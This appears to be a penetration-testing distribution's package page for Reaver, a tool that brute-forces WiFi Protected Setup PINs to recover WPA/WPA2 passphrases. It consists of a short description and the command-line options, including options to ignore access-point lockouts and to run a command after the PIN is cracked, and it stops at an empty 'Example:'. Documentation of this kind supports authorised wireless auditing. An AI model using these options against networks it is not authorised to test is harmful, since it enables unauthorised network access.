Reaver Package Description
Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases, as described in http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf.
Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
On average Reaver will recover the target AP’s plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase

-s, --session=<file> Restore a previous session file
-C, --exec=<command> Execute the supplied command upon successful pin recovery
-D, --daemonize Daemonize reaver
-a, --auto Auto detect the best advanced options for the target AP
-f, --fixed Disable channel hopping
-5, --5ghz Use 5GHz 802.11 channels
-v, --verbose Display non-critical warnings (-vv for more)
-q, --quiet Only display critical messages
-h, --help Show help
Advanced Options:
-p, --pin=<wps pin> Use the specified 4 or 8 digit WPS pin
-d, --delay=<seconds> Set the delay between pin attempts [1]
-l, --lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60]
-g, --max-attempts=<num> Quit after num pin attempts
-x, --fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0]
-r, --recurring-delay=<x:y> Sleep for y seconds every x pin attempts
-t, --timeout=<seconds> Set the receive timeout period [5]
-T, --m57-timeout=<seconds> Set the M5/M7 timeout period [0.20]
-A, --no-associate Do not associate with the AP (association must be done by another application)
-N, --no-nacks Do not send NACK messages when out of order packets are received
-S, --dh-small Use small DH keys to improve crack speed
-L, --ignore-locks Ignore locked state reported by the target AP
-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet
-n, --nack Target AP always sends a NACK [Auto]
-w, --win7 Mimic a Windows 7 registrar [False]
Example:
